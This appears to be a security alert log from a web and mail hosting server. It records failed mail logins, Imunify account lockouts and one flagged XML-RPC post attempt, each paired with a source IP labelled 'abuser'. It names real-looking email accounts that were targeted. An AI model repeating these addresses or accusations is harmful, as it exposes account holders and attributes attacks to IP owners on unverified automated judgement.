name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:25:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:25:19 dovecot_login authenticator failed for H=(hTAxcr4) [77.83.39.253]:27276: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:25:28 dovecot_login authenticator failed for H=(UxaF1Zsp) [178.16.52.139]:55494: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:25:40 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54546: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.89.155.11
country_id: 2542007
description:
2026-02-02 06:25:44 dovecot_login authenticator failed for H=(A2E7plBXf) [196.89.155.11]:5202: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:26:15 dovecot_login authenticator failed for H=(tHjb0KZ68) [185.230.124.69]:64398: 535 Incorrect authentication data (set_id=darren)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 31.217.165.156
country_id: 390903
domain: gagasanteguh.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20575.gagasanteguh.com.my||ServerName:gagasanteguh.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:979c5c04035e941958cd892d542bfff2bbee37c1||Title:0xe9d9fc15||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:26:42 dovecot_login authenticator failed for H=(0QGGUB) [178.16.54.138]:55604: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:26:44 dovecot_login authenticator failed for H=(ztFF5UnAq) [158.94.208.175]:59244: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:26:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:26:06 dovecot_login authenticator failed for H=(Dy63ErO) [77.83.39.253]:20254: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:26:06 dovecot_login authenticator failed for H=(mtksrq) [165.154.217.204]:52699: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:26:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


